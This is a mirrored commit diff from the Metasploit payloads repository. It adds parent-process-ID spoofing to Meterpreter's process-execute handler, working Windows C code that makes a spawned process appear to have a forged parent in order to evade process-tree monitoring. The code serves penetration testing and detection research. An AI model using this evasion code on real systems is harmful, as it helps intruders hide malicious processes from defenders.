mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Land #374, Add support for PPID spoofing
Merge branch 'land-374' into upstream-master
This commit is contained in:
commit
ba93a05959
@ -8,6 +8,30 @@
|
|||||||
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
|
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
|
||||||
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
|
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
|
||||||
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
|
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
|
||||||
|
typedef BOOL (WINAPI * UPDATEPROCTHREADATTRIBUTE) (
|
||||||
|
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
|
||||||
|
DWORD dwFlags,
|
||||||
|
DWORD_PTR Attribute,
|
||||||
|
PVOID lpValue,
|
||||||
|
SIZE_T cbSize,
|
||||||
|
PVOID lpPreviousValue,
|
||||||
|
PSIZE_T lpReturnSize
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef BOOL (WINAPI* INITIALIZEPROCTHREADATTRIBUTELIST) (
|
||||||
|
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
|
||||||
|
DWORD dwAttributeCount,
|
||||||
|
DWORD dwFlags,
|
||||||
|
PSIZE_T lpSize
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef struct _STARTUPINFOEXA
|
||||||
|
{
|
||||||
|
STARTUPINFOA StartupInfo;
|
||||||
|
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
|
||||||
|
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
|
||||||
|
|
||||||
|
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Attaches to the supplied process identifier. If no process identifier is
|
* Attaches to the supplied process identifier. If no process identifier is
|
||||||
@ -24,7 +48,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
|||||||
|
|
||||||
// Get the process identifier that we're attaching to, if any.
|
// Get the process identifier that we're attaching to, if any.
|
||||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
|
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
|
||||||
|
dprintf("[attach]: pid %d", pid);
|
||||||
// No pid? Use current.
|
// No pid? Use current.
|
||||||
if (!pid)
|
if (!pid)
|
||||||
handle = GetCurrentProcess();
|
handle = GetCurrentProcess();
|
||||||
@ -35,6 +59,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
|
|||||||
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
|
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
|
||||||
|
|
||||||
handle = OpenProcess(permission, inherit, pid);
|
handle = OpenProcess(permission, inherit, pid);
|
||||||
|
dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError());
|
||||||
}
|
}
|
||||||
|
|
||||||
// If we have a handle, add it to the response
|
// If we have a handle, add it to the response
|
||||||
@ -91,10 +116,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
Tlv inMemoryData;
|
Tlv inMemoryData;
|
||||||
BOOL doInMemory = FALSE;
|
BOOL doInMemory = FALSE;
|
||||||
PROCESS_INFORMATION pi;
|
PROCESS_INFORMATION pi;
|
||||||
STARTUPINFO si;
|
STARTUPINFOEXA si;
|
||||||
HANDLE in[2], out[2];
|
HANDLE in[2], out[2];
|
||||||
PCHAR path, arguments, commandLine = NULL;
|
PCHAR path, arguments, commandLine = NULL;
|
||||||
DWORD flags = 0, createFlags = 0;
|
DWORD flags = 0, createFlags = 0, ppid = 0;
|
||||||
BOOL inherit = FALSE;
|
BOOL inherit = FALSE;
|
||||||
HANDLE token, pToken;
|
HANDLE token, pToken;
|
||||||
char * cpDesktop = NULL;
|
char * cpDesktop = NULL;
|
||||||
@ -109,9 +134,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
|
|
||||||
// Initialize the startup information
|
// Initialize the startup information
|
||||||
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
|
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
|
||||||
memset( &si, 0, sizeof(STARTUPINFO) );
|
memset( &si, 0, sizeof(STARTUPINFOEXA) );
|
||||||
|
|
||||||
si.cb = sizeof(STARTUPINFO);
|
si.StartupInfo.cb = sizeof(STARTUPINFO);
|
||||||
|
si.lpAttributeList = NULL;
|
||||||
|
|
||||||
// Initialize pipe handles
|
// Initialize pipe handles
|
||||||
in[0] = NULL;
|
in[0] = NULL;
|
||||||
@ -131,6 +157,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
|
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
|
||||||
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
|
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
|
||||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
|
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
|
||||||
|
ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID);
|
||||||
|
|
||||||
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
|
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
|
||||||
{
|
{
|
||||||
@ -154,7 +181,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
|
|
||||||
lock_release(remote->lock);
|
lock_release(remote->lock);
|
||||||
|
|
||||||
si.lpDesktop = cpDesktop;
|
si.StartupInfo.lpDesktop = cpDesktop;
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
}
|
}
|
||||||
@ -232,10 +259,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Initialize the startup info to use the pipe handles
|
// Initialize the startup info to use the pipe handles
|
||||||
si.dwFlags |= STARTF_USESTDHANDLES;
|
si.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
|
||||||
si.hStdInput = in[0];
|
si.StartupInfo.hStdInput = in[0];
|
||||||
si.hStdOutput = out[1];
|
si.StartupInfo.hStdOutput = out[1];
|
||||||
si.hStdError = out[1];
|
si.StartupInfo.hStdError = out[1];
|
||||||
inherit = TRUE;
|
inherit = TRUE;
|
||||||
createFlags |= CREATE_NEW_CONSOLE;
|
createFlags |= CREATE_NEW_CONSOLE;
|
||||||
|
|
||||||
@ -251,8 +278,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
// If the hidden flag is set, create the process hidden
|
// If the hidden flag is set, create the process hidden
|
||||||
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
|
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
|
||||||
{
|
{
|
||||||
si.dwFlags |= STARTF_USESHOWWINDOW;
|
si.StartupInfo.dwFlags |= STARTF_USESHOWWINDOW;
|
||||||
si.wShowWindow = SW_HIDE;
|
si.StartupInfo.wShowWindow = SW_HIDE;
|
||||||
createFlags |= CREATE_NO_WINDOW;
|
createFlags |= CREATE_NO_WINDOW;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -260,6 +287,52 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
|
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
|
||||||
createFlags |= CREATE_SUSPENDED;
|
createFlags |= CREATE_SUSPENDED;
|
||||||
|
|
||||||
|
// Set Parent PID if provided
|
||||||
|
if (ppid) {
|
||||||
|
dprintf("[execute] PPID spoofing\n");
|
||||||
|
HMODULE hKernel32Lib = LoadLibrary("kernel32.dll");
|
||||||
|
INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList");
|
||||||
|
UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute");
|
||||||
|
BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
|
||||||
|
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
|
||||||
|
HANDLE handle = OpenProcess(permission, inherit, ppid);
|
||||||
|
dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError());
|
||||||
|
if (
|
||||||
|
handle &&
|
||||||
|
hKernel32Lib &&
|
||||||
|
InitializeProcThreadAttributeList &&
|
||||||
|
UpdateProcThreadAttribute
|
||||||
|
) {
|
||||||
|
size_t len = 0;
|
||||||
|
InitializeProcThreadAttributeList(NULL, 1, 0, &len);
|
||||||
|
si.lpAttributeList = malloc(len);
|
||||||
|
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) {
|
||||||
|
printf("[execute] InitializeProcThreadAttributeList: [%d]\n", GetLastError());
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[execute] InitializeProcThreadAttributeList\n");
|
||||||
|
|
||||||
|
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), 0, 0)) {
|
||||||
|
printf("[execute] UpdateProcThreadAttribute: [%d]\n", GetLastError());
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
dprintf("[execute] UpdateProcThreadAttribute\n");
|
||||||
|
|
||||||
|
createFlags |= EXTENDED_STARTUPINFO_PRESENT;
|
||||||
|
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
||||||
|
|
||||||
|
FreeLibrary(hKernel32Lib);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
|
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
|
||||||
{
|
{
|
||||||
// If there is an impersonated token stored, use that one first, otherwise
|
// If there is an impersonated token stored, use that one first, otherwise
|
||||||
@ -304,7 +377,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Try to execute the process with duplicated token
|
// Try to execute the process with duplicated token
|
||||||
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
|
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, (STARTUPINFOA*)&si, &pi))
|
||||||
{
|
{
|
||||||
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
|
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
|
||||||
HANDLE hAdvapi32 = NULL;
|
HANDLE hAdvapi32 = NULL;
|
||||||
@ -342,14 +415,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
||||||
mbstowcs(wcmdline, commandLine, size);
|
mbstowcs(wcmdline, commandLine, size);
|
||||||
|
|
||||||
if (si.lpDesktop)
|
if (si.StartupInfo.lpDesktop)
|
||||||
{
|
{
|
||||||
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
|
size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0);
|
||||||
if (size != (size_t)-1)
|
if (size != (size_t)-1)
|
||||||
{
|
{
|
||||||
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
|
||||||
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
|
mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size);
|
||||||
si.lpDesktop = (LPSTR)wdesktop;
|
si.StartupInfo.lpDesktop = (LPSTR)wdesktop;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -407,7 +480,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
|
|
||||||
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
|
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
|
||||||
{
|
{
|
||||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
|
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
|
||||||
}
|
}
|
||||||
@ -425,7 +498,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
|
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||||
{
|
{
|
||||||
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
|
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
|
||||||
}
|
}
|
||||||
@ -453,7 +526,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
// Try to execute the process
|
// Try to execute the process
|
||||||
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
|
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
|
||||||
{
|
{
|
||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
@ -531,6 +604,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
free(cpDesktop);
|
free(cpDesktop);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (si.lpAttributeList)
|
||||||
|
{
|
||||||
|
free(si.lpAttributeList);
|
||||||
|
}
|
||||||
|
|
||||||
packet_transmit_response(result, remote, response);
|
packet_transmit_response(result, remote, response);
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user